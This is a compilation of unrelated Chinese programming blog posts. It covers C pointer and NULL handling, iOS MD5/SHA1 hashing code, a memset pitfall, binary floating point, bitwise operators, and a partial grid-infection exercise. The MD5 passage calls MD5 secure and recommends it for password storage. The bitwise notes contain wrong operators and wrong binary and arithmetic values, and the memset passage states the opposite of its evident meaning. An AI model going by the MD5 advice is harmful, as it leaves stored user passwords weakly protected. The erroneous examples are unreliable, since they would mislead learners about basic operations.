#define SAFE_MALLOC(n) safe_malloc(n)

void * safe_malloc(size_t n) {
        void *p = malloc(n);
        if (p) {
                return p;
        } else {
                printf("你的内存不够用，我先撤了！\n");
                exit(-1);
        }
}
int main(void) {
        int *p = SAFE_MALLOC(sizeof(int));
        ... ... ...
        
        return 0;
}

如果你被我说服了，决定不去检查 malloc 的返回值是否为 NULL，那么又一个问题随之而来。我们是否需要在程序中检测一个指针是否为 NULL？NULL 指针实在是太恐怖了，直接决定了程序的生死。为了安全起见，在用一个指针时检测一下它的值是否为 NULL 似乎非常有必要。特别是向一个函数传递指针，很多编程专家都建议在函数内部首先要检测指针参数是否为 NULL，并将这种行为取名为『契约式编程』。之所以是契约式的，是因为这种检测已经假设了函数的调用者可能会传入 NULL……事实上这种契约非常容易被破坏，例如：

void foo(int *p)
{
        if(!p) {
                printf("You passed a NULL pointer!\n"); 
                exit(-1);
        }
        ... ... ...        
}

int main(void)
{
        int *p;
        foo(p);
        
        return 0;
}


当我将一个未初始化的指针传给 foo 函数时，foo 函数对参数的检测不会起到任何作用。

可能你会辩解，说调用 foo 函数的人，应该先将 p 指针初始化为 NULL，但这有些自欺欺人。契约应当是双方彼此达成一致意见之后才能签署，而不是你单方面起草一个契约，然后要求他人必须遵守这个契约。foo 不应该为用户传入无效的指针而买单，何况它也根本无法买这个单——你能检测的了 NULL，但是无法检测未初始化的指针或者被释放了的指针。也许你认为只要坚持将指针初始化为 NULL，并坚持消除野指针，那么 foo 中的 NULL 检测就是有效的。但是很可惜，野指针不是那么容易消除，下面就会讨论此事。凡是不能彻底消除的问题，就不应该再浪费心机，否则只是将一个问题演变了另一个问题而已。那些被重重遮掩的问题，一旦被触发，你会更看难看清真相。

指针不应该受到不公正待遇。如果你处处纠结程序中用到的整型数或浮点数是否会溢出，或者你走在人家楼下也不是时时仰望上方有没有高空坠物，那么也就不应该对指针是否为 NULL 那么重视，甚至不惜代价为其修建万里长城。在 C 语言中，不需要指针的 NULL 契约，只需要遵守指针法律：你要传给我指针，就必须保证你的指针是有效的，否则我就用程序崩溃来惩罚你。

第三个问题依然与 NULL 有关，那就是一个指针所引用的内存空间被释放后，是否要将这个指针赋值为 NULL？对于这个问题，大家一致认为应该为之赋以 NULL，否则这个指针就成为『野指针』——野指针是有害的。一开始我也这么认为，但是久而久之就觉得消除野指针，是一种很无聊的行为。程序中之所以会出现野指针引发的内存错误，往往意味着你的代码出现了拙劣的设计！如果消除野指针，再配合指针是否为 NULL 的检测，这样做固然可以很快的定位出错点，但是换来的经常是一个很脏的补丁式修正，而坏的设计可能会继续得到纵容。

如果你真的害怕野指针，可以像下面这样做：

#include <stdio.h>
#include <stdlib.h>

#define SAFE_FREE(p) safe_free((void **)(&(p)))

void safe_free(void **p) {
        if(*p) {
                free(*p);
                *p = NULL;
        } else {
                printf("哎呀，我怕死野指针了！\n");
        }
}

int main(void) {
        int *p = malloc(sizeof(int));
        for(int i = 0; i < 10; i++) {
                SAFE_FREE(p);
        }
        return 0;
}

对于所引用的内存被释放了的指针，即使赋之以 NULL，也只能解决那些你原本一眼就能看出来的问题。更糟糕的是，当你对消除野指针非常上心时，每当消除一个野指针，可能会让你觉得你的程序更加健壮了，这种错觉反而消除了你的警惕之心。如果一块内存空间被多个指针引用，当你通过其中一个指针释放这块内存空间之后，并赋该指针以 NULL，那么其他几个指针该怎么处理？也许你会说，那应该用引用计数技术来解决这样的问题。引用计数的确可以解决一些问题，但是它又带来一个新的问题，对于指针所引用的空间，在引用计数为 0 时，它被释放了，这时另外一个地方依然有代码在试图 unref，这时该怎么处理？

绝对的不去检测指针是否为 NULL 肯定也不科学。因为有时 NULL 是作为状态来用的。例如在树结构中，可以根据任一结点中的子结点指针是否为 NULL 来判断这个结点是否为叶结点。有些函数通过返回 NULL 告诉调用者：『我可耻的失败了』。我觉得这才是 NULL 真正的用武之地。

王垠在『编程的智慧』一文中告诫大家，尽量不要让函数返回 NULL，他认为如果你的函数要返回『没有』或『出错了』之类的结果，尽量使用 Java 的异常机制。这种观点也许是对的，但是鉴于 C 没有异常机制（在 C 中可以用 setjmp/longjmp 勉强模拟异常），只有 NULL 可用。有些人形而上学强加附会的将这种观点解读为让函数返回 NULL 是有害的，甚至将这种行为视为『低级错误』，甚至认为 C 指针的存在本身就是错误，认为这样做是整个软件行业 40 多年的耻辱，这是小题大作，或者说他只有能力将罪责推给 NULL，而没有能力限制 NULL 的副作用。如果我们只将 NULL 用于表示『没有』或『出错了』的状态，这非但无害，而且会让代码更加简洁清晰。

如果你期望一个函数能够返回一个有效的指针，那么你就有义务检查它是不是真的返回了有效的指针，否则就没必要检查。这种检查其实与这个函数是否有可能返回 NULL 无关。类似的 NULL 检查，在生活中很常见。即使银行的 ATM 机已经在安全性上做了重重防御，但是你取钱时，也经常会检查一下 ATM 吐出来钱在数目上对不对。你过马路时，虽然有红绿灯，而且司机师傅也都是通过驾照考试的，但你依然会有意识的环顾左右，看有没有正在过往的车辆。

如果你通过一个查询函数在 C 式的泛型容器中查询一个元素（其实是指针），而容器中没有这个元素，那么查询函数返回一个 NULL，这是一个无效的指针，这时，你可以认为查询函数内部出错了，也可以认为查询函数告诉你容器中没有这个元素。这种情况下，查询函数的返回结果出现了二义性，但是这难道不可以视为是重新检验查询函数正确性的好机会么？你可以自行遍历你所用的容器中是否存在要查询的元素，如果确定有，那么就可以肯定是刚才你用的查询函数有 bug。如果容器中的确没有这个元素，那么查询函数的正确性就得到了检验。如果你坚持 NULL 的意义不明确而导致歧义，然后得出推论『返回 NULL 的函数是有害的』，那么马克思都会比你善于写程序。

当你打算检测一个指针的值是否为 NULL 时，问题又来了……我们是应该

if(p == NULL) {
        ... ... ...
}

还是应该

if(!p) {
        ... ... ...
}

?

很多人害怕出错，他们往往会选择第一种判断方式，他们的理由是：在某些 C 的实现（编译器与标准库）中，NULL 的值可能不是 0。这个理由，也许对于 C99 之前的 C 是成立的，但是至少从 C99 就不再是这样了。C99 标准的 6.3.2.3 节，明确将空指针定义为常量 0。在现代一些的 C 编译器上，完全可以放心使用更为简洁且直观的第二种判断方式。

用 C 语言，就不要想太多。想的太多，你可能就不会或者不敢编程了。用 C 语言，你又必须想太多，因为不安全的因素到处都有，但是也只有不安全的东西才真正是有威力的工具，刀枪剑戟，车铣刨磨，布鲁弗莱学院传授的挖掘机技术，哪样不能要人命！不要想太多，指的是不要在一些细枝末节之处去考虑安全性，甚至对于野指针这种东西都诚惶诚恐。必须想太多，指的是多从程序的逻辑层面来考虑安全性。出错不可怕，可怕的是你努力用一些小技俩来规避错误，这种行为只会导致错误向后延迟，延迟到基于引用计数的内存回收，延迟到 Java 式的 GC，延迟到你认为可以高枕无忧然而错误却像癌症般的出现的时候。

不好的设计品味

上文谈到，内存错误往往是由不良的设计导致的。我不确定怎样的设计算是好品味的，但是我可以确定一些品味不怎么样的设计。

第一种品味不怎么样的设计是割裂算法与数据结构的关系。这种设计源于对教科书的盲目信仰。几乎任何一本讲数据结构与算法的书都会煞有介事的告诉你 程序 = 数据结构 + 算法。这个『公式』是 Pascal 之父 Nicklaus Wirth 提出的，但实际上形同废话，类似于 英语 = 单词 + 语法。可是这种废话却让许多人形而上学了。有些人坚定不移的确信，只要把数据结构设计正确了，正确的算法不言自明，于是他们就从面向对象开始设计程序。还有些人坚定不移的确信，只要将算法设计正确了，正确的数据结构不言自明，于是他们就从算法设计开始。这都是大学时不好好学习马哲的下场啊 :)

马哲是一门注重迭代过程的哲学，马克思经常说，算法与数据结构是矛盾的，二者统一于程序之中；算法决定了数据结构，数据结构又反过来影响算法。马克思说的肯定不是废话，任何一个有素养的程序员都不会否定迭代设计。任何一个程序在诞生之初都不是完美的，但是负责任的设计者会努力使之进化，趋向完美。如果马克思学编程，他一定会将泛型编程与面向对象编程这两大范式统一起来，左手画圆，右手画方，傲视群雄。达尔文也说过，程序不是设计出来的，而是进化出来的。

第二种品味不怎么样的设计是面向某种编程范式。我在『面向指针编程』一文中捏造了一个很简单的例子，然后将面向对象、泛型编程以及函数式编程中最基本的手段穿插在一起，结果可以得到一个思路清晰、代码简洁的小程序。其实这个例子源自很多年前我自己写的一个双向链表模块，在用 C 构建稍微有点规模的程序或库时，这些手段都是最基本的。事实上，当时我在写这些代码时，并不怎么懂面向对象、泛型编程以及函数式编程这些烧脑的概念，完全是为了解决我面对的一些小问题，自然而然的就用上了这些手段。很多年后我才隐约发现这些手段竟然对应着一种又一种编程范式的雏形。

我应该庆幸，除了指针与宏之外没有任何特性的 C 语言没有给我带来太多难以理解的概念，以至于我可以直接面向问题编程。C 语言的发明者 Dannis Ritche 说，A language that doesn't have everything is actually easier to program in than some that do. 翻译过来，就是『不试图拥有一切的语言实际上要比那些试图拥有一切的语言更易于编程』。

大部分情况下，我们写的代码在逻辑上并不复杂，所以各种编程范式看上去都同样有效——如果你说你能用面向对象解决问题，那么肯定就会有人说他用函数式编程也能解决同样的问题。大部分程序在数据结构与算法方面只用到了线性表与排序算法，程序中大部分代码是与问题领域息息相关的。像树与图这种数据结构及相关的算法，往往已经以库的形式被实现了。就连遗传算法、神经网络算法以及支持向量机这些复杂的算法也有现成的库可调用。当问题足够复杂时，你会发现任何编程语言、范式以及框架都没法帮助你解决问题，它们甚至对你如何理解问题都没有任何帮助。在我看来，任何编程范式在本质上都是代码层面的『图形界面（GUI）』，它们并不能真正代表设计上的好品味。如果你的程序是持续进化的，那么它总是有可能进化为最适合它的那些编程范式。如果莱布尼茨、欧拉、费马等大神改行写程序，他们一定能写出具有最小作用量的程序，而不是背负一大堆编程范式所带来的各种包袱的程序。

第三种品味不怎么样的设计是不为自己的设计提供有效的文档，主要表现为 (1) 文档写的比代码还烂；(2) 文档不能反映最新的代码；(3) 干脆不写文档，让他人去 read the fucking source code. 如果你能够长期维护你所写的代码，不提供有效的文档也不是什么大事，否则你让别人去阅读你写的 fucking source code，那是对他人的侮辱。因为你是面向机器写代码，他人要想读懂你的代码，就必须通过代码去逆向还原你的思路。一些水平很烂的的程序员，企图像 Linus 那样高调，趾高气扬的让我们去阅读他们写的代码，这种行为无异于让我们从其排泄物中猜测他们中午在哪个馆子吃了什么饭……结果往往是他们的代码很快就死掉了。这个世界上能实现代码即文档，文档即代码的人几乎没有。即使软件世界的泰山北斗 Donald Knuth 老先生也得借助文式编程的方式来注解自己的代码，也就是说他只能达到又能写书又能写代码的境界，即便如此，这个星球上能与之比肩的人寥寥无几。

我又成功的跑题了。其实我想说的是，与这些品味不好的设计相比，用 C 管理一下内存所带来的繁琐与困难根本不值一提。请记住 Peter Norvig 说的，学会编程通常需要十年，为何人人都这么着急？
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MD5加密算法为现在应用最广泛的哈希算法之一，该算法广泛应用于互联网网站的用户文件加密，能够将用户密码加密为128位的长整数。数据库并不明文存储用户密码，而是在用户登录时将输入密码字符串进行MD5加密，与数据库中所存储的MD5值匹配，从而降低密码数据库被盗取后用户损失的风险。

Md5加密算法原理

MD5加密算法以512位分组来处理输入的信息，且每一分组又被划分为16个32位子分组，经过了一系列的处理后，算法的输出由四个32位分组组成，将这四个32位分组级联后将生成一个128位散列值。

在MD5加密算法中，首先需要对信息进行填充，使其字节长度对512求余数的结果等于448。因此，信息的字节长度（Bits Length）将被扩展至N512+448，即N64+56个字节（Bytes），N为一个正整数。

- (NSString *)md5String{
    //先转为UTF_8编码的字符串
    const char* str = [self UTF8String];
    //设置一个接受字符数组
    //md5加密后是128bit, 16 字节 * 8位/字节 = 128 位
    unsigned char result[CC_MD5_DIGEST_LENGTH];
    /*
     extern unsigned char *CC_MD5(const void *data, CC_LONG len, unsigned char *md)官方封装好的加密方法
     
     把str字符串转换成了32位的16进制数列（这个过程不可逆转） 存储到了result这个空间中
     */
    CC_MD5(str, strlen(str), result);
    
    NSMutableString *ret = [NSMutableString stringWithCapacity:CC_MD5_DIGEST_LENGTH* 2];
    /*
     x表示十六进制，%02X  意思是不足两位将用0补齐，如果多余两位则不影响
     NSLog("%02X", 0x888);  //888
     NSLog("%02X", 0x4); //04
     */
    //将16字节的16进制转成32字节的16进制字符串
    for(int i = 0; i<CC_MD5_DIGEST_LENGTH; i++) {
        [ret appendFormat:@"%02x",result[i]];
    }
    return ret;
}

MD5加密算法由于其具有较好的安全性，加之商业也可以免费使用该算法，因此该加密算法被广泛使用，md5加密算法主要运用在数字签名、文件完整性验证以及口令加密等方面。
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2.SHA算法

- (NSString *)sha1:(NSString *)str
{
    const char *cstr = [str UTF8String];
    //使用对应的CC_SHA1,CC_SHA256,CC_SHA384,CC_SHA512的长度分别是20,32,48,64
    unsigned char digest[CC_SHA1_DIGEST_LENGTH];
    //使用对应的CC_SHA256,CC_SHA384,CC_SHA512
    CC_SHA1(cstr,  strlen(cstr), digest);
    NSMutableString* result = [NSMutableString stringWithCapacity:CC_SHA1_DIGEST_LENGTH * 2];
    for(int i = 0; i < CC_SHA1_DIGEST_LENGTH; i++) {
        [result appendFormat:@"%02x", digest[i]];
    }
    return result;
}

整理常用加密 iOS 与 Android 加密 MD5-SHA1


 不可忽视的c/c++ - 今天在用memset将一个二维整型数组全部设置为最大整型时遇到的问题

作者：厦门大学陈黎栋

来源： 不可忽视的c/c++ - 今天在用memset将一个二维整型数组全部设置为最大整型时遇到的问题



                    
问题

#define MAX 100000
const int MAXN = 5; 
int len[MAXN][MAXN]; 
memset(len,MAX,sizeof(len))；//失败，并不能让len数组所有的值是100000，而是-1600085856
memset(len,-1,sizeof(len))//成功，并且len所有的值都是-1；
memset(len,-2,sizeof(len))//失败 

解释

sizeof(len) = 100
sizeof(len) != 25
memset是按字节赋值的。
memset是内存操作，作用是设置每一个“字节”的值。第一个参数是内存地址，第2个参数是设置的值（0x00 - 0xff),第3个参数是字节数。

除了将整型数组设置为0，否则用memset对非字符型数组赋初值是可取的！ 

使用memset将二维数组全部设置为一个值

char array[][];
memset(array,'A',sizeof(array));


 妥协与取舍，解构计算机中的二进制浮点数运算

作者：chenjd

来源： 妥协与取舍，解构计算机中的二进制浮点数运算



                    
0x00 前言

我在生活和工作中常常会遇到一些十分迷信机器的人，他们之中很多人都相信机器是最理智的，没有任何感情，是真正的铁面无私，因此机器的运算所给出的答案总是正确的，如果答案错误，那么一定是操作机器的人的问题。但机器的运算就一定是正确的吗？事实上，机器出现运算错误并不是一个罕见的情况，一个典型的例子便是小数运算。下面就让我们来聊一个相关的话题，在机器或者具体的说在C#语言中小数是如何被处理的？

0x01 先从一个“错误”的答案说起

既然要聊一聊机器是怎么把算术题做错的，那么我们自然要先来看一个机器运算错误的小例子。

#include <stdio.h>

void main(){
    float num;
    int i ;
    num = 0;
    for(i = 0; i < 100; i++)
    {
        num += 0.1;
    }
    printf("%f\n", num);
}


这是一份C语言写成的小程序，逻辑十分简单易懂，所要实现的结果无非是将0.1相加100次之后再输出。我想不需要计算机来计算，我们自己心算就能立刻得出答案——10。那么计算机会交给我们一份什么样的答案呢？下面我们将这份C代码编译并且运行一下。

答案一输出，就让人大吃一惊。怎么计算机还不如人的心算吗？如果按照慕容在前言中提到的那些朋友这时可能就开始纠结是否是代码写错了，亦或者是慕容的电脑出现了什么问题。但事实上代码是正确的，机器也是运行如常的。那么究竟是为什么计算机的运算输给了人的心算呢？这就引出了下一个问题，计算机是如何处理小数的呢？如果我们了解一下计算机处理小数的机制，那么这一切的迷就能够解开了。（当然如果有朋友用C#来对0.1加100次，之后的结果是10。但那是C#在幕后为我们做的一些隐藏工作，在计算机处理小数的问题上，本质是一样的）。

0x02 数字的格式

一个程序可以看做是现实世界的一个数字化的模型。现实世界中的一切都可以转化为数字在计算机的世界中重新复活。因此，一个不得不解决的问题就是数字是如何在计算机中表达的。这也是数字格式出现的意义。

众所周知，机器语言全部都是数字，但是本文自然不会关心全部的二进制格式。这里我们只关心现实中有意义的数字是如何在计算机中被表示的。简单而言，有意义的数字大体可以分为以下三种格式。

整数格式

我们在开发的过程中遇到的大部分的数字其实都是整数。而整数在计算机中也是最容易表示的一种。我们遇到的整数都可以使用32位有符号整数来表示（Int32)。当然，如果需要，还有有符号 64 位整数数据类型（Int64）可供选择。至于和整数相对应的便是小数，而小数主要有两种表示方式。

定点格式

所谓定点格式，即约定机器中所有数据的小数点位置是固定不变的。而定点小数的最常见的例子是SQL Server中的money类型。事实上定点小数已经很不错了，它显然能够适合很多需要处理小数的情况。但是它有一个与生俱来的缺点，那就是由于小数点的位置固定，因此它能表示范围是受限的。因此下面我们本文的主角就要出场了。

浮点格式

解决定点格式先天问题的方案便是浮点格式的出现。而浮点格式的组成则包括符号、尾数、基数和指数，通过这四部分来表示一个小数。由于计算机内部是二进制的，因此基数自然而然是2（就如十进制的基数是10一样）。因此计算机在数据中往往无需记录基数（因为总是2），而是只用符号、尾数、指数这三部分来表示。很多编程语言都至少提供了两种使用浮点格式表示小数的数据类型，即我们常常能见到的双精度浮点数double和单精度浮点数float。同样，在我们的C#语言中也存在着这两种使用了浮点格式表示小数的数据类型——按照C#语言标准双精度浮点数和单精度浮点数在C#中对应的是System.Double和System.Single。但是事实上在C#语言中还存在着第三种使用了浮点格式表示小数的数据类型，那就是decimal类型——System.Decimal（十进制浮点数，之后的文章会介绍）。需要注意的是，浮点格式的表示形式有很多，而在C#中遵循的是IEEE 754标准：


	float单精度浮点数为32位。32位的构造为：符号部分1bit、指数部分8bit以及尾数部分23bit。


	double双精度浮点数为64位。64位的构造为：符号部分1bit、指数部分11bit以及尾数部分52bit。





0x03 表示范围、精度和准确度

既然聊完了数字在计算机中的几种表示形式，那么接下来我们就不得不提一下在选择数字格式时的一些指标。最常见的无非是这几点：表示范围、精度、准确度。

数字格式的表示范围

顾名思义，数字格式的表示范围指的就是这种数字格式所能表示的最小的值到最大的值的范围。例如一个16位有符号整数的表示范围是从-32768到32767。如果要被表示的数字的值超出了这个范围，那么使用这种数字格式就不能正确的表示这个数字了。当然在这个范围内的数字也有可能无法被正确的表示，例如16位有符号整数是无法准确表示一个小数的，但是总有一个接近的值是可以用16为有符号整数格式来表示的。

数字格式的精度

实话实说，精度和准确度让很多人都有一种十分模糊的感觉，似乎是一样的却又有区别。但慕容需要提醒各位注意的是，精度和准确度是两个有巨大差距的概念。

通俗的来讲，数字格式的精度可以认为是该格式有多少信息用来表示一个数字。更高的精度通常意味着能够表示更多的数字，一个最明显的例子便是精度越高那么这种格式所能表示的数字就越接近真实的数字。例如我们知道1/3如果换算成小数0.3333....是无穷尽的，那么它在五位精度的情况下可以写成0.3333，而在七位的情况下就又变成了0.333333（当然，如果用七位表示五位，那么就是0.333300)。

数字格式的精度还会影响到计算的过程。举一个简单的例子，如果在计算中我们使用的是一位精度。那么整个计算可能就变成了下面的这种情况：

0.5 * 0.5 + 0.5 * 0.5 = 0.25 + 0.25

                      = 0.2 + 0.2

                      = 0.4


而如果我们使用的是两位精度，那么计算过程又会变成下面的情况。

0.5 * 0.5 + 0.5*0.5 = 0.25 + 0.25

　　　　　　  　　　　 =0.5


对比两种精度情况下的计算结果，一位精度情况下的计算结果和正确的结果差了0.1。而使用了两位精度的情况则正常的计算出了结果。因此可以发现在计算的过程中保证精度是一件多么有意义的事情。

数字格式的准确度

数字格式的表示范围、精度都已经介绍完了，那么接下来我们就来介绍一下数字格式的准确度。刚刚已经说过了，准确度和精度是一对经常让人混淆的概念。

那么我们再通俗的给准确度来个注释，简单的说它表示的是该数字格式（特定环境）所表示的数字和真实数字的误差。准确度越高，则意味着数字格式所表示的数字和真实数字的值之间的误差越小。准确度越低，则意味着数字格式所表示的数字和真实数字的值之间的误差越大。

需要注意的一点是数字格式的精度和数字格式的准确度并没有直接的关系，这一点也是很多朋友在概念上常常会混淆的地方。使用低精度的数字格式表示的数字，并不一定要比使用高精度的数字格式所表示的数字的准确度低。

举一个简单的例子：

Byte   num = 0x05;
Int16  num1 = 0x0005;
Int32  num2 = 0x00000005;
Single num3 = 5.000000f;
Double num4 = 5.000000000000000;


此时，我们分别使用5种不同的数字格式表示同一个数字5，虽然数字格式的精度（从8位到64位）不同，但是通过数字格式所表示出来的数和真实的数是一样的。也就是说对于数字5，这5种数字格式的准确度相同。

0x04 取整误差

了解了计算机中常见的几种数字格式之后，现在我们再来聊一聊计算机是如何通过数字格式来表示现实世界中的数字的。众所周知，计算机中使用的是0和1，即二进制，使用二进制表示整数是十分容易的一件事情，不过在使用二进制表示小数时，我们往往会产生一些疑问。例如二进制小数1110.1101换算成十进制是多少呢？第一眼看上去多了一个小数点，似乎让人十分困惑。事实上它的处理和整数是一样的，即将各个数位的数值和位权相乘结果求和。小数点前的位权，大家都已经十分熟悉了，从右向左分别是0次幂、1次幂、2次幂以此递增，因此小数点前的二进制换算为十进制便是：

1 * 8 + 1 * 4 + 1 * 2 + 0 = 14


而在小数点之后的位权，相应的从左向右分别是-1次幂、-2次幂依次递减。因此小数点之后的二进制转换为十进制便是：

1 * 0.5 + 1 * 0.25 + 0 * 0.125 + 1 * 0.0625 = 0.8125


因此1110.1101这个二进制小数转换为十进制便是14.8125。

通过观察小数点之后的二进制转换为十进制的过程，各位看官是否发现了很有趣的一个事实呢？那就是小数点之后的二进制并不能表示所有的十进制数，换言之有一些十进制数是无法转换成二进制的。这个很好理解，因为小数点之后，二进制的位权按照除以2的节奏递减，而十进制却是按照除以10的节奏递减。因此如果小数点后4位用二进制表示，即从.0000~.1111这个范围内连续的二进制数值事实上对应的十进制数是不连续的，所有可能的结果也不过是各个位权（0.5、0.25、0.125以及0.0625）相加的组合而已。

因此，一个在十进制中十分简单的数字如果用二进制来准确无误的表示，所使用的位数可能会十分长甚至是无限的。一个很好的例子便是使用二进制浮点数来表示十进制中的0.1：

double x = 0.1d;


事实上变量x中所保存的值并不是真正的十进制中的0.1，而是一个最接近十进制0.1的二进制浮点数。这是因为无论小数点之后有多少位二进制的数，2的负数次幂都无法相加得到0.1这个结果，因此0.1这个十进制数在二进制中会变成一个无限小数。

当然二进制有可能无法准确的表示一个十进制小数很好理解，因为这有点类似于在十进制中我们同样无法准确表示1/3这样的循环小数。

此时，我们便不得不和计算机妥协了。因为我们现在知道了在计算机中使用的数值可能并不等于真实世界中的数值，而是计算机使用某种数字格式表示的一个十分接近原始数字的一个值。而在整个程序运行的过程中，我们的计算机就要一直使用这个仅仅是近似的数值来参与计算，我们假设真实的数值是n，而计算机事实上会使用另一个数值n + e（当然e是一个可正可负且十分小的数）来参与计算机中的运算。此时，这个数值e便是取整误差。

而这还仅仅是一个数字在计算机中使用近似值来表示，如果该数值参与到计算中去，那么显然会带来更多误差。这也是本文一开始那个c程序之所以计算错误的原因，因为无法正确的表示参与计算的值，到最后都变成了近似值。当然C#语言相对而言要“高级”了很多，虽然在计算机中也是近似值，但是展示在大家眼前的至少还是更加符合人们“预期”的值。不过在C#中，小数计算真的是不会出错的吗？毕竟，这一切似乎仅仅是障眼法。

0x05 取与舍，C#的小数

比比是否相等

不知道各位看官在使用一些关系运算符时，有没有留意到直接使用等号比较两个小数是否相等时是否会出现一些意想不到的问题。我身边的朋友使用关系运算符直接比较两个小数大小的情况比较多，而直接比较两个小数是否相等的情况却不太多。同时我在此也想提醒各位最好不要轻易比较两个小数是否相等，即便在C#这种高级语言中仍然可能得到让人感觉“错误”的答案，这是因为我们事实上比较的是两个小数是否“接近”于相等，而不是两个数是否是真正的相等。下面这个例子可能会更好的说明这一点：

using System;

class Test
{    
    static void Main()
    {
        double f = Sum (0.1d, 0.2d);
        double g = 0.3d;
        Console.WriteLine (f);
        Console.WriteLine (f==g);
    }
    
    static double Sum (double f1, double f2)
    {
        return f1+f2;
    }
}


我们编译并且运行这段代码，可以看到输出了如下的内容：

比较这两个小数的结果并不是true，这和我们的预期并不一样。

浮点数的真模样

我们知道，像上文中的那个二进制小数1110.1101事实上也是按照人类习惯表达出来的，但是计算机可是不能识别这种带小数点的东西的哦。所以计算机会使用之前介绍的数字格式来表示这样一个数字，那么一个二进制浮点数在计算机中到底是如何表现的呢？其实在上文介绍数字格式的部分已经介绍过了，但是没有实际看一眼终究是不能有一个直观的认识，那在本文的最后，我们就来看一个二进制浮点数的在计算机中真实的样子。

0100000001000111101101101101001001001000010101110011000100100011

这是一个64位的二进制数。如果把它作为一个双精度浮点数，那么它的各部分都分别表示了什么呢？

按照上文介绍浮点数的部分，我们可以将它分成如下几部分：

符号：0

指数部分：10000000100（二进制，可以转换为十进制的1028）

尾数部分：0111101101101101001001001000010101110011000100100011

因此，将它转换为一个用二进制表示的小数，则是：

(-1)^0 * 1.0111101101101101001001001000010101110011000100100011  x 2^(1028-1023)

= 1.0111101101101101001001001000010101110011000100100011  x 2^5

= 101111.01101101101001001001000010101110011000100100011

如果各位读者观察足够仔细的话，是否发现了有趣的一点呢？那就是在这个在计算机中用来表示双精度浮点数的64位数中，尾数部分的几位数字是：0111101101101101001001001000010101110011000100100011

但是经过从计算机中的形式转化成人类使用二进制表示小数的形式之后，数字却变成了1.0111101101101101001001001000010101110011000100100011x 2^5，小数点之前为什么会多出了一个1呢？

这是因为在尾数部分，为了将表现形式多样的浮点数统一为同一种表示方式而规定要将小数点前的值固定为1。由于小数点前的数永远是1，因此为了节省一个数据位，这个1在计算机中并不需要被保存。

那么应该如何保证一个二进制小数的小数点前的值是1呢？这就需要对二进制小数进行逻辑移位了，通过左移或右移若干次后，将整数部分变为1。例如上文中的这个二进制小数：1110.1101，我们就来试试如何把它变成计算机可以识别的浮点数的尾数吧。

1110.1101（原始数据）——>0001.1101101（通过右移将整数部分变为1）——>0001.11011010000000000000....（拓展位数，使之符合数字格式的规定）——>11011010000000000000....（去掉整数部分，仅保留小数部分）

好了，到此关于C#或者计算机中的小数计算就写得差不多了。欢迎各位交流。


 位运算

作者：熊一帆

来源： 位运算



                    
基本概念

适用对象：整数类型变量（char，short，int，long等）
作用：改变二进制位

有什么用


	判断某一位是否为1


	只改变其中一位，其他位不变


	快速计算




分类



	&
	按位与（双目）



	&verbar;
	按位或（双目）



	^
	按位异或（双目）



	~
	按位非（取反）（单目）



	<<
	左移（双目）



	>>
	右移（双目）





双目：两个数折腾
单目：自己折腾

按位与&

口诀：同1为1
x&1: 不变
x&0: 结果必为0

例子

21 & 18
21: 0001 0101
18: 0001 0010
16: 0001 0000

作用

	某些位清零，同时保持其他位不变




最低位清零, n & 0xfe
   n: 1001 0111
Oxfe: 1111 1110
      1001 0110

	获取变量中的某一位




获取第7位，下标从0开始
   n: 1010 1010
0x80: 1000 0000
      1000 0000

按位或|

口诀: 有1为1
x|1: 结果必为1
x|0: 不变

例子

21 | 18
21: 0001 0101
18: 0001 0010
23: 0001 0111

作用

	某些位置为1，同时保持其他位不变




最低位置为1, n & 0x01
   n: 1001 0110
Ox01: 0000 0001
      1001 0111

按位异或^

口诀: 不同为1
x^1: 取反
x^0: 不变

例子

21 | 18
21: 0001 0101
18: 0001 0010
 7: 0000 0111

作用

	取反(~运算符可以达到同样的效果)




21 | 0xff
21:   0001 0101
oxff: 1111 1111
      1110 1010

	加密




如果 a^b=c,那么就有 c^b = a以及c^a=b

	交换值




int a = 5, b = 7; 
a = a ^ b;
b = b ^ a;
a = a ^ b;

按位非~

口诀：取反

例子

~21
21: 0001 0101
    1110 1010

左移<<

口诀：高位丢弃，低位补0

例子

9 << 4
  9: 0000 1001
144: 1001 0000

作用

	左移n位，相当于乘以2^n




144 = 9 * 2^4 = 9 * 16

左移>>

口诀：有符号，低位丢弃，高位补符号位；无符号，低位丢弃，高位补0 （无符号，符号位相当为0）

作用

	右移n位，相当于除以2^n，最后向下取整




正数
127 >> 4
127: 0111 1111
  7: 0000 0111

7 = 127 / 2^4 = 127 / 16 = 7.9375
向下取整为7

负数
-127 >> 4
-127: 1000 0000
  -8: 1111 1000

-8 = -127 / 16 = -7.9375
向下取整为-8，而不是-7

无符号
128 >> 4
128: 1000 0000
  8: 0000 1000

8 = 128 / 8 = 8
向下取整为8


 “流感传染”问题

作者：wmlz

来源： “流感传染”问题



                    
流感传染


描述

有一批易感人群住在网格状的宿舍区内，宿舍区为n*n的矩阵，每个格点为一个房间，房间里可能住人，也可能空着。在第一天，有些房间里的人得了流感，以后每天，得流感的人会使其邻居传染上流感，（已经得病的不变），空房间不会传染。请输出第m天得流感的人数。

输入

第一行一个数字n，n不超过100，表示有n*n的宿舍房间。

接下来的n行，每行n个字符，’.’表示第一天该房间住着健康的人，’#’表示该房间空着，’@’表示第一天该房间住着得流感的人。

接下来的一行是一个整数m，m不超过100.

输出

输出第m天，得流感的人数




此代码不是为了解答此题。因为vs2015不支持变长数组。不能满足题目要求。
只是为了显示一种思路。

#include<iostream>
#include <iomanip>
using namespace std;
 
const int N = 5;                //定义宿舍边长
char dorm[N][N];                 //定义一个N*N的全局 二维字符数组
 
int function(int a)
{
    int count = 0;                                             //用来记录所有宿舍共有多少个感染者
    for (int d = 1; d < a; d++)
    {
        for (int i = 0; i < N; i++)
        {
            for (int j = 0; j < N; j++)
            {
                if (dorm[i][j] == '@')                         //找到数组中感染的人“@”。把其上下左右都标为“*”，以避免多算上新患者，避免使新患者周围也被传染。
                {
                    if (i + 1 < N && dorm[i + 1][j] != '#' && dorm[i + 1][j] != '@')   //考虑边界和 空房子的情况
                        dorm[i + 1][j] = '*';
                    if (j + 1 < N && dorm[i][j + 1] != '#' && dorm[i][j + 1] != '@')
                        dorm[i][j + 1] = '*';
                    if (i - 1 >= 0 && dorm[i - 1][j] != '#' && dorm[i - 1][j] != '@')
                        dorm[i - 1][j] = '*';
                    if (j - 1 >= 0 && dorm[i][j - 1] != '#' && dorm[i][j - 1] != '@')
                        dorm[i][j - 1] = '*';
                }
            }
        }
        for (int k = 0; k < N; k++)                    //一次传染完成后，将新传染的“*”赋值为“@”
        {
            for (int h = 0; h < N; h++)
            {
                if (dorm[k][h] == '*')
                    dorm[k][h] = '@';
            }
        }
 
    }
